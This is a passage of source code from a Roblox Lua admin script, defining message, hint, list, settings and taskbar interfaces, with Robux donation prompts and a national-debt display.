4037 Speak.Position = UDim2.new(1, -58, 0, 5)
4038 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4039 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4040 end
4041 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4042 if not Said then
4043 Said = true
4044 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4045 end
4046 end)
4047
4048 if TextColor then
4049 Body.TextColor3 = TextColor
4050 else
4051 Body.TextColor3 = Color3.new(1,1,1)
4052 end
4053
4054 if tonumber(Time) then coroutine.wrap(function()
4055 if AutoTime then
4056 Time = Time + math.floor(#BodyText/7)
4057 end
4058 local Alive = true
4059
4060 local function StopTimer() Alive = false end
4061 Closed.Event:connect(StopTimer)
4062 Minimized.Event:connect(StopTimer)
4063
4064 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4065 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4066 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4067 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4068 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4069 for i = Time,0,-1 do
4070 for ii = 1,10 do
4071 if Alive == true then
4072 Ticker.Text = i
4073 wait(0.1)
4074 else
4075 break
4076 end
4077 end
4078 end
4079 if Alive == true then
4080 Close:Invoke()
4081 else
4082 Ticker:Destroy()
4083 Stop:Destroy()
4084 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4085 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4086 end
4087 end)() end
4088
4089 CORE:ExecuteResource("CalculateScrollY", Body)
4090 end
4091end
4092
4093function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4094 if not Player then return nil end
4095 if not Player:IsA("Player") then return nil end
4096 if BodyText == "" then return nil end
4097 if not Player:FindFirstChild("PlayerGui") then return nil end
4098 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4099 local TextColor = GUI:ContrastColor()
4100 if Error then TextColor = Color3.new(1,0,0) end
4101
4102 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4103 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4104
4105 CORE:ExecuteResource("CalculateScrollY", Body)
4106
4107 return Frame, Close, Closed, Minimize, Minimized
4108end
4109
4110function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4111 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4112 local TweenTime = 0.5
4113 if not Time then Time = 5 end
4114 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4115 local MaxPos = -1
4116 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4117 local IVal = SGObj:FindFirstChild("Index")
4118 if IVal then
4119 MaxPos = math.max(MaxPos, IVal.Value)
4120 end
4121 end
4122 MaxPos = MaxPos + 1
4123 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4124 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4125 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4126 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4127 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4128 SG.Parent = Player.PlayerGui
4129
4130 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4131 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4132
4133 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4134 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4135 Delay(TweenTime, function()
4136 for i = 1,0,-0.1 do
4137 Body.TextTransparency = i
4138 wait()
4139 end
4140 Body.TextTransparency = 0
4141 end)
4142 Delay(TweenTime + Time, function()
4143 for i = 0,1,0.1 do
4144 Body.TextTransparency = i
4145 wait()
4146 end
4147 Body.TextTransparency = 1
4148 local Done = false
4149 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4150 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4151 end)
4152
4153end)() end
4154
4155function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4156 if not Player then return nil end
4157 if not Player:FindFirstChild("PlayerGui") then return nil end
4158 if not PreSearch then PreSearch = "" end
4159 if AutoNumber == nil then AutoNumber = true end
4160
4161 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4162 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4163 SearchBar.Parent = Frame.Parent
4164 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4165 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4166
4167 local SearchVer = 0,nil
4168 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4169 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4170 local InDialog = false
4171
4172 local function ShowResults(Key)
4173 SearchVer = SearchVer + 1
4174 local ThisSearchVer = SearchVer
4175
4176 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4177 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4178
4179 local NumPos,Num = 0,1
4180
4181 for _,Data in pairs(List) do
4182 if ThisSearchVer ~= SearchVer then
4183 break
4184 end
4185 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4186 if String then
4187 local ImageIcon = nil
4188 if type(Data) == "table" then
4189 String = Data[1]
4190 ImageIcon = Data[2]
4191 end
4192
4193 local TextColor = GUI:ContrastColor()
4194 local StringSplit = STRING:GetSplit(String, 1, " ")
4195 local NewColor = GUI:GetColor(StringSplit[1])
4196 if NewColor then TextColor = NewColor String = StringSplit[2] end
4197
4198 if string.find(string.lower(String), string.lower(Key)) then
4199 Spacer = false
4200 local Font = Settings.Font
4201 local Split = STRING:GetSplit(String, 1, " ")
4202 if string.sub(string.lower(String),1,6) == "bold: " then
4203 Font = "ArialBold"
4204 String = string.sub(String,7)
4205 elseif Fonts[Split[1]] then
4206 Font = Split[1]
4207 String = Split[2]
4208 end
4209 if string.sub(String,1,2) == "--" then
4210 Spacer = true
4211 end
4212 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4213 if ImageIcon then
4214 if tonumber(ImageIcon) then
4215 ImageIcon = "rbxassetid://"..ImageIcon
4216 elseif Icons[ImageIcon] then
4217 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4218 end
4219
4220 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4221 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4222 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4223 Content.Text = ""
4224 NumPos = NumPos + 90
4225 else
4226 NumPos = NumPos + 30
4227 end
4228
4229 if not Clickable then
4230 Content.AutoButtonColor = false
4231 Content.Active = false
4232 Content.BackgroundTransparency = 1
4233 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4234 SOUND:BindButton(Content)
4235 CORE:HandleEvent(Content, "MouseButton1Down", function()
4236 if not InDialog then
4237 Clicked:Fire(String)
4238 end
4239 end, true)
4240 end
4241 if Spacer == false then Num = Num + 1 end
4242 end
4243 end
4244 end
4245 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4246 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4247 end
4248
4249 RequestDialog.OnInvoke = function(RequestDialogCall)
4250 InDialog = RequestDialogCall
4251 end
4252
4253 ShowResults(PreSearch)
4254
4255 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4256 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4257 if Prop == "Text" then
4258 local Text = CORE:ReadProperty(RPR, Player, "Text")
4259 ShowResults(Text)
4260 Frame.CanvasPosition = Vector2.new(0,0)
4261 end
4262 end)
4263
4264 return Clicked, RequestDialog, Close
4265end
4266
4267function GUI:PropertyGui(Player, Title, Icon, Properties)
4268 if not Player then return nil end
4269 if not Player:FindFirstChild("PlayerGui") then return nil end
4270 if type(Properties) ~= "table" then return nil end
4271 local HasClosed = false
4272 local NewProperties = {}
4273
4274 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4275 Frame.ClipsDescendants = true
4276 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4277
4278 for PropertyName,Data in pairs(Properties) do
4279 NewProperties[PropertyName] = Data[1]
4280 end
4281
4282 local YCount = 0
4283
4284 for PropertyName,Data in pairs(Properties) do
4285 if type(Data) == "table" then
4286 local DefaultValue = Data[1]
4287 local Writable = Data[2]
4288 local ValueType = Data[3]
4289
4290 if Writable == nil then Writable = false end
4291 if type(ValueType) == "string" then -- now this is confusing
4292 ValueType = string.lower(ValueType)
4293 elseif ValueType == nil then
4294 ValueType = type(DefaultValue)
4295 end
4296
4297 if ValueType == "nil" or ValueType == "userdata" then
4298 ValueType = nil
4299 elseif ValueType == "table" then
4300 DefaultValue = STRING:UnpackArgs(DefaultValue)
4301 ValueType = "string"
4302 end
4303
4304 if ValueType then
4305 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4306 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4307 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4308
4309 if ValueType == "string" or ValueType == "number" then
4310 if Writable == true then
4311 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4312 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4313 if ValueType == "number" then
4314 NewProperties[PropertyName] = tonumber(Input.Text)
4315 else
4316 NewProperties[PropertyName] = tostring(Input.Text)
4317 end
4318 end end)
4319 else
4320 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4321 end
4322 end
4323 if ValueType == "boolean" then
4324 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4325 if DefaultValue == true then
4326 Check.Image = "rbxassetid://48138491"
4327 end
4328 if Writable == true then
4329 CORE:HandleEvent(Check, "MouseButton1Down", function()
4330 local NewVal = not NewProperties[PropertyName]
4331 NewProperties[PropertyName] = NewVal
4332 if NewVal == true then
4333 Check.Image = "rbxassetid://48138491"
4334 else
4335 Check.Image = "rbxassetid://48138474"
4336 end
4337 end)
4338 else
4339 Check.ImageTransparency = 0.5
4340 end
4341 end
4342 YCount = YCount + 50
4343 end
4344 end
4345 end
4346
4347 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4348
4349 Closed.Event:connect(function() HasClosed = true end)
4350
4351 repeat wait(0.1) until HasClosed
4352 return NewProperties
4353end
4354
4355function GUI:SettingsGui(Player)
4356 if not Player then return nil end
4357 local CloneViewSettings,CanChange = {},false
4358
4359 local ViewSettings = {
4360 ["Version"] = {CORE.Version.Value, false, nil};
4361 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4362 ["Font"] = {Settings.Font, 3, "Font"};
4363 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4364 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4365 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4366 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4367 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4368 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4369 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4370 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4371 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4372 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4373 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4374 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4375 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4376 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4377 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4378 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4379 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4380 ["Bet"] = {Settings.Bet, 3, "Bet"};
4381 }
4382
4383 local _,RankNum = RANK:GetRank(Player)
4384 if RankNum >= 3 then
4385 CanChange = true
4386 end
4387
4388 for Prop,Data in pairs(ViewSettings) do
4389 local Writable = false
4390 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4391 CloneViewSettings[Prop] = {Data[1], Writable}
4392 end
4393
4394 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4395 if CanChange then
4396 for Prop,Data in pairs(ViewSettings) do
4397 if Data[3] then
4398 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4399 end
4400 end
4401 CORE:FixSettings()
4402 end
4403end
4404
4405function GUI:MessageAdmins(TitleText, BodyText, Icon)
4406 for _,Player in pairs(Server.Players:GetPlayers()) do
4407 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4408 if PlayerAdmin then
4409 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4410 end
4411 end
4412end
4413
4414function GUI:TellAdmin(Player)
4415 if not Player then return end
4416
4417 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4418 if ValidAdmin == true then
4419 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4420 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4421 local SoundID = 237866523
4422 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4423 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4424 Sound:Play()
4425 coroutine.wrap(function()
4426 wait(4)
4427 Sound:Stop()
4428 Sound:Destroy()
4429 end)()
4430 end
4431 end
4432end
4433
4434function GUI:TellNotAdmin(Player)
4435 if not Player then return end
4436
4437 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4438end
4439
4440function GUI:CreateTaskBar(Player)
4441 if not Player then return nil end
4442 if Settings.EnableTaskBar == false then return nil end
4443 Player:WaitForChild("PlayerGui")
4444 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4445 if SG then SG:Destroy() end
4446 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4447 local IsMoving = false
4448 local TaskBarShown = false
4449 local Tasks = {}
4450
4451 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4452 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4453
4454 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4455 local Open,CloseForm = false,nil
4456 if Settings.EnableAdminMenu then
4457 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4458 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4459 if Open == false then
4460 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4461 Open,CloseForm = true,Close
4462
4463 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4464 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4465 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4466 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4467 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4468 local function DonateMoney(Type, Element)
4469 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4470 local Get = Request[Type]
4471 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4472 Server.MPS:PromptPurchase(Player, Get[1], true)
4473 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4474 Server.MPS:PromptPurchase(Player, Get[2], true)
4475 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4476 Server.MPS:PromptPurchase(Player, Get[3], true)
4477 else
4478 Element.Text = "Cannot get request"
4479 end
4480 end
4481 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4482 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4483 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4484 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4485 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4486 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4487
4488 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4489
4490 if Closed then
4491 Closed.Event:connect(function()
4492 Open = false
4493 end)
4494 end
4495 else
4496 CloseForm:Invoke()
4497 end
4498 end) end)()
4499 if RANK:GetRank(Player) == "Owner" then
4500 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4501 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4502 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4503 if HUDSG then
4504 HUDSG:Destroy()
4505 else
4506 GUI:CreateHUD(Player)
4507 end
4508 end)
4509 end
4510 end
4511
4512 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4513 if IsMoving == false then
4514 if TaskBarShown == true then
4515 TaskBarShown = false
4516 IsMoving = true
4517 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4518 else
4519 TaskBarShown = true
4520 IsMoving = true
4521 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4522 end
4523 end
4524 end)
4525
4526 local function ReloadIcons()
4527 for Num,Data in pairs(Tasks) do
4528 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4529 end
4530 end
4531
4532 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4533 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4534 table.insert(Tasks, {Form, Icon})
4535 local CanClick = true
4536 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4537 if Form.IsActive.Value == false then
4538 Restore:Invoke()
4539 elseif CanClick == true then
4540 coroutine.wrap(function()
4541 CanClick = false
4542 local DefPos = Form.Dragger.Position
4543 for i = 1,15 do
4544 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4545 wait(0.05)
4546 end
4547 Form.Dragger.Position = DefPos
4548 CanClick = true
4549 end)()
4550 end
4551 end)
4552 ReloadIcons()
4553
4554 Closed.Event:connect(function()
4555 for Num,Data in pairs(Tasks) do
4556 if Data[1] == Form then
4557 Icon:Destroy()
4558 table.remove(Tasks, Num)
4559 end
4560 end
4561 ReloadIcons()
4562 end)
4563 end)
4564end
4565
4566function GUI:ShowDebtStats(Player, ManualText)
4567 local Text = ManualText
4568 if not ManualText then
4569 Text = "CANNOT GET STATISTICS"
4570 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4571 if RawPage then
4572 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4573 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4574 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4575 end
4576 end
4577
4578 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
